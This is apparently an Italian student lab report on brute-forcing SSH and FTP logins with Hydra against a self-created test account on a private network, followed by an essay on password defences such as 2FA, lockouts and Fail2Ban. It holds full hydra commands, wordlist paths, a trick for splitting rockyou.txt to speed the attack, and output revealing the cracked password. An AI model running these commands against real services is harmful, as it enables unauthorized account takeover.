

Progetto S6/L5

Hydra

Craccare l'autenticazione del servizio SSH

```
(alessio@Aluandr)-[~]  
$ sudo adduser test_user  
info: Adding user `test_user' ...  
info: Selecting UID/GID from range 1000 to 59999 ...  
info: Adding new group `test_user' (1001) ...  
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...  
info: Creating home directory `/home/test_user' ...  
info: Copying files from `/etc/skel' ...  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
  Full Name []: Alessio  
  Room Number []: 10  
  Work Phone []: 3333333333  
  Home Phone []: 0688888888  
  Other []: ciao  
Is the information correct? [Y/n] yes  
info: Adding new user `test_user' to supplemental / extra groups `users' ...  
info: Adding user `test_user' to group `users' ...
```

```
(alessio@Aluandr)-[~]  
$ ssh test_user@192.168.1.8  
The authenticity of host '192.168.1.8 (192.168.1.8)' can't be established.  
ED25519 key fingerprint is SHA256:IJnLR5kRHN20r4bR+jf65XC7CvZtvkWLt0cyzHz0ak.  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '192.168.1.8' (ED25519) to the list of known hosts.  
test_user@192.168.1.8's password:  
Linux Aluandr 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64  
  
The programs included with the Kali GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.
```

Con il comando ssh
test_user@192.168.1.8
testiamo la connessione. Se
la nostra connessione
risponderà correttamente
procederemo con il
passaggio successivo

Ora inseriamo il nostro comando
in hydra hydra -l test_user -P
/usr/share/seclists/Passwords/xato
-net-10-million-passwords-
1000000.txt ssh://192.168.1.102 -t
4 -V e facciamo partire il nostro
programma.

```
alessio@Aluandr: ~  
File Actions Edit View Help  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "jasmine" - 70 of 14344399 [child 8] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "brandon" - 71 of 14344399 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "666666" - 72 of 14344399 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "shadow" - 73 of 14344399 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "melissa" - 74 of 14344399 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "eminem" - 75 of 14344399 [child 4] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "matthew" - 76 of 14344399 [child 5] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "robert" - 77 of 14344399 [child 6] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "danielle" - 78 of 14344399 [child 7] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "forever" - 79 of 14344399 [child 9] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "family" - 80 of 14344399 [child 8] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "jonathan" - 81 of 14344399 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "987654321" - 82 of 14344399 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "computer" - 83 of 14344399 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "whatever" - 84 of 14344399 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "dragon" - 85 of 14344399 [child 4] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "vanessa" - 86 of 14344399 [child 5] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "cookie" - 87 of 14344399 [child 6] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "naruto" - 88 of 14344399 [child 7] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "summer" - 89 of 14344399 [child 9] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "sweety" - 90 of 14344399 [child 8] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "spongebob" - 91 of 14344399 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "joseph" - 92 of 14344399 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "junior" - 93 of 14344399 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "softball" - 94 of 14344399 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "taylor" - 95 of 14344399 [child 4] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "yellow" - 96 of 14344399 [child 5] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "daniela" - 97 of 14344399 [child 6] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "lauren" - 98 of 14344399 [child 7] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "mickey" - 99 of 14344399 [child 9] (0/0)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "princesa" - 100 of 14344399 [child 8] (0/0)
```

```
et 192.168.1.102 - login "test_user" - pass "stretch" - 5209 of 1000014 [child 30] (0/14)
et 192.168.1.102 - login "test_user" - pass "stonecold" - 5210 of 1000014 [child 53] (0/14)
et 192.168.1.102 - login "test_user" - pass "soulmate" - 5211 of 1000014 [child 37] (0/14)
et 192.168.1.102 - login "test_user" - pass "sonny" - 5212 of 1000014 [child 48] (0/14)
et 192.168.1.102 - login "test_user" - pass "snuffy" - 5213 of 1000014 [child 58] (0/14)
: 192.168.1.102 login: test_user password: testpass
successfully completed, 1 valid password found
ing restore file because 14 final worker threads did not complete until end.
gets did not resolve or could not be connected
et did not complete
/github.com/vanhauser-thc/thc-hydra) finished at 2024-11-08 07:31:43
)-[~]
```

Alla fine della nostra scansione apparirà in verde la password che siamo andati a craccare

Metodo utilizzato per aumentare la velocità di ricerca della porta SSH

"Dividiamo il dizionario Rockyou in 10 parti per alleggerire le ricerche, poiché il dizionario contiene milioni di password."

split -n 10 /usr/share/wordlists/rockyou.txt /usr/share/wordlists/rockyou_part

Ora che lo abbiamo sezionato azioniamo il nostro programma.

hydra -l test user -P /usr/share/wordlists/rockyou_part ab ssh://192.168.1.8 -t 4 -V

Ora posso muovermi in sezioni in maniera silenziosa ma troverò velocemente la mia password (Se contenente nel dizionario).

FTP

Craccare l'autenticazione del servizio FTP

Con il comando **sudo apt-get install vsftpd** attiviamo il **servizio FTP** e lo avviamo con **service vsftpd start**

```
alessio@Aluandr: ~  
File Actions Edit View Help  
libx10.7 liblua5.2-0 libmfx1 libmimalloc2.0 libndctl6 libnghttp3-3 libperl5.38t64 libplacebo338 libplist3 lib  
libpoppler134 libpostproc57 libpython3.11-dev libpython3.11-minimal libpython3.11-stdlib libpython3.11t64  
libqt6dbus6t64 libqt6gui6t64 libqt6network6t64 libqt6opengl6t64 libqt6openglwidgets6t64 libqt6printsupport6t64  
libqt6sql6t64 libqt6test6t64 libqt6widgets6t64 libqt6xml6t64 librados2 librav1e0 librdmacm1t64 libre2-10 libro  
libssh-gcrypt-4 libsvtavcodec1d libswscale7 libu2f-udev libusbmuxd6 libwinpr2-2t64 libwirehark17t64 libwireta  
libwsutil15t64 libx265-199 libzip4t64 openjdk-17-jre openjdk-17-jre-headless perl-modules-5.38 python3-diskcac  
python3-hatch-vcs python3-hatchling python3-jose python3-lib2to3 python3-mistune0 python3-paths-spec python3-per  
python3-pluggy python3-pytdata python3-rsa python3-setuptools-scm python3-time-machine python3-trove-classifi  
python3.11 python3.11-dev python3.11-minimal rwho rwhod samba-vfs-modules  
Use 'sudo apt autoremove' to remove them.  
The following NEW packages will be installed:  
vsftpd  
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.  
Need to get 142 kB of archives.  
After this operation, 352 kB of additional disk space will be used.  
Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13.1 [142 kB]  
Fetched 142 kB in 0s (331 kB/s)  
Preconfiguring packages ...  
Selecting previously unselected package vsftpd.  
(Reading database ... 421966 files and directories currently installed.)  
Preparing to unpack .../vsftpd_3.0.3-13.1_amd64.deb ...  
Unpacking vsftpd (3.0.3-13.1) ...  
Setting up vsftpd (3.0.3-13.1) ...  
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsft  
/run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.  
update-rc.d: We have no instructions for the vsftpd init script.  
update-rc.d: It looks like a network service, we disable it.  
Processing triggers for man-db (2.13.0-1) ...  
Processing triggers for kali-menu (2024.3.1) ...  
alessio@Aluandr: ~]
```

```
alessio@Aluandr: ~  
File Actions Edit View Help  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "cowboys" - 184 of 1000014 [child 24] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "987654" - 185 of 1000014 [child 29] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "london" - 186 of 1000014 [child 20] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "tennis" - 187 of 1000014 [child 41] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "999999" - 188 of 1000014 [child 40] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "ncc1701" - 189 of 1000014 [child 39] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "coffee" - 190 of 1000014 [child 36] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "scooby" - 191 of 1000014 [child 63] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "0000" - 192 of 1000014 [child 9] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "miller" - 193 of 1000014 [child 11] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "boston" - 194 of 1000014 [child 14] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "qlw2e3r4" - 195 of 1000014 [child 34] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "fuckoff" - 196 of 1000014 [child 15] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "brandon" - 197 of 1000014 [child 31] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "yamaha" - 198 of 1000014 [child 8] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "chester" - 199 of 1000014 [child 12] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "mother" - 200 of 1000014 [child 13] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "forever" - 201 of 1000014 [child 16] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "johnny" - 202 of 1000014 [child 22] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "edward" - 203 of 1000014 [child 27] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "333333" - 204 of 1000014 [child 28] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "oliver" - 205 of 1000014 [child 32] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "redsox" - 206 of 1000014 [child 33] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "player" - 207 of 1000014 [child 35] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "nikita" - 208 of 1000014 [child 56] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "knight" - 209 of 1000014 [child 57] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "fender" - 210 of 1000014 [child 58] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "barney" - 211 of 1000014 [child 59] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "midnight" - 212 of 1000014 [child 60] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "please" - 213 of 1000014 [child 61] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "brandy" - 214 of 1000014 [child 62] (0/14)
```

Inseriamo il nostro metodo di ricerca con

Hydra

hydra -l test user -P

/usr/share/seclists/Passwords/xato-net-

10-million-passwords-1000000.txt

ftp://192.168.1.8 -t 64 -V -f

```
alessio@Aluandr: ~  
File Actions Edit View Help  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "beans" - 5187 of 1000014 [child 13] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "banzai" - 5188 of 1000014 [child 33] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "banner" - 5189 of 1000014 [child 58] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "artem" - 5190 of 1000014 [child 27] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "9562876" - 5191 of 1000014 [child 12] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "5656" - 5192 of 1000014 [child 36] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "1945" - 5193 of 1000014 [child 38] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "159632" - 5194 of 1000014 [child 32] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "15151515" - 5195 of 1000014 [child 0] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "123456qw" - 5196 of 1000014 [child 1] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "1234567891" - 5197 of 1000014 [child 23] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "02051983" - 5198 of 1000014 [child 28] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "02041983" - 5199 of 1000014 [child 61] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "02031987" - 5200 of 1000014 [child 7] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "02021989" - 5201 of 1000014 [child 8] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "z1x2c3v4" - 5202 of 1000014 [child 26] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "xing" - 5203 of 1000014 [child 37] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "vSjasnel12" - 5204 of 1000014 [child 11] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "twenty" - 5205 of 1000014 [child 34] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "toolman" - 5206 of 1000014 [child 20] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "thing" - 5207 of 1000014 [child 4] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "testpass" - 5208 of 1000014 [child 15] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "stretch" - 5209 of 1000014 [child 31] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "stonecold" - 5210 of 1000014 [child 55] (0/14)  
[ATTEMPT] target 192.168.1.8 - login "test_user" - pass "soulmate" - 5211 of 1000014 [child 35] (0/14)  
[21][ftp] host: 192.168.1.8 login: test_user password: testpass  
[STATUS] attack finished for 192.168.1.8 (valid pair found)  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-08 16:31:35
```

Questo è ciò che verrà restituito
con la password trovata

Relazione: La Sicurezza delle Password e i Rischi degli Attacchi tramite Programmi di Cracking



Le password sono uno degli strumenti di autenticazione più comuni utilizzati per proteggere l'accesso a sistemi, applicazioni e risorse online. Tuttavia, la sicurezza di una password dipende dalla sua complessità, dalla gestione e dalle protezioni implementate nei sistemi. In assenza di misure di sicurezza adeguate, gli attaccanti possono facilmente sfruttare vulnerabilità nei sistemi di autenticazione per ottenere l'accesso non autorizzato. Programmi di cracking come Hydra sono strumenti potenti che permettono agli aggressori di tentare di indovinare le password, e se non vengono adottate misure preventive, le credenziali degli utenti possono essere compromesse.



Cos'è Hydra e come funziona

Hydra è uno degli strumenti di cracking delle password più utilizzati da hacker e professionisti della sicurezza per testare la robustezza delle credenziali di accesso. Funziona principalmente tramite attacchi di tipo brute force (forza bruta) o dictionary attack, in cui tenta una serie di password per determinare quella corretta. Hydra supporta diversi protocolli, tra cui SSH, HTTP, FTP, RDP, e molti altri, rendendolo uno strumento versatile per violare sistemi vulnerabili.

Hydra utilizza un dizionario di parole (un file contenente potenziali password) e cerca di abbinare ciascuna parola del dizionario a una possibile password del sistema target. Gli utenti possono personalizzare i dizionari e le modalità di attacco per cercare di ottenere la password corretta in tempi più rapidi.

Come un attaccante può sfruttare strumenti come Hydra

Attacchi di Forza Bruta: Con Hydra, un attaccante può eseguire un attacco di forza bruta su una porta SSH o su qualsiasi altro servizio che utilizzi l'autenticazione tramite password. In questo tipo di attacco, il programma tenta tutte le combinazioni possibili di password fino a trovare quella corretta. Se la password è troppo semplice o comune, questo attacco può essere completato molto rapidamente.

Attacchi con Dizionario: Un altro metodo comune è l'attacco a dizionario. In questo caso, Hydra utilizza un file di testo contenente una lista predefinita di password comuni o parole frequentemente utilizzate dagli utenti. Se la password è contenuta nel dizionario, il programma la troverà velocemente. Dizionari come "rockyou.txt" (contenente milioni di password comuni) sono frequentemente utilizzati per questo tipo di attacco.

Esecuzione in parallelo e personalizzazione: Hydra consente di eseguire attacchi paralleli tramite l'uso di thread multipli, aumentando enormemente la velocità di cracking. Inoltre, l'attaccante può personalizzare le opzioni, come il numero di tentativi massimi, il tempo di attesa tra i tentativi e altro ancora, per evitare di essere rilevato dai sistemi di protezione (ad esempio, sistemi di blocco degli accessi dopo un numero eccessivo di tentativi falliti).

Come proteggersi dagli attacchi di cracking

Per proteggersi dagli attacchi di cracking delle password, è fondamentale adottare le seguenti precauzioni:

Complessità delle password: Le password dovrebbero essere complesse, lunghe e uniche. Una buona pratica è usare una combinazione di lettere maiuscole, minuscole, numeri e caratteri speciali. Evitare password comuni come "123456" o "password", che sono facilmente individuabili nei dizionari di cracking.

Autenticazione a due fattori (2FA): Abilitare l'autenticazione a due fattori (2FA) sui sistemi e sulle applicazioni aggiunge un ulteriore livello di sicurezza. Anche se un attaccante ottiene la password, non sarà in grado di accedere senza il secondo fattore (ad esempio, un codice inviato via SMS o tramite un'app di autenticazione).

Limitazione dei tentativi di login: Configurare il sistema per bloccare l'accesso dopo un certo numero di tentativi falliti può rallentare o impedire gli attacchi di forza bruta. Alcuni sistemi possono anche inviare notifiche di accesso sospetto.

Monitoraggio e analisi dei log: Monitorare i log di accesso e analizzare i tentativi di login falliti può aiutare a rilevare e fermare gli attacchi in corso. Programmi come Fail2Ban possono automaticamente bloccare gli IP che tentano troppi accessi falliti.

Cifratura delle comunicazioni: Utilizzare protocolli sicuri, come SSH invece di Telnet, e cifrare i dati sensibili aiuta a proteggere le credenziali da attacchi man-in-the-middle e altre minacce.

Conclusioni

Gli attacchi alle credenziali tramite programmi di cracking come Hydra sono reali e facili da eseguire, se le giuste precauzioni non vengono adottate. La protezione delle credenziali è essenziale per prevenire l'accesso non autorizzato e per tutelare la sicurezza e la privacy degli utenti. Implementare politiche di password forti, utilizzare autenticazione a due fattori e monitorare continuamente i sistemi sono passi fondamentali per proteggere i dati sensibili e prevenire potenziali violazioni della sicurezza.

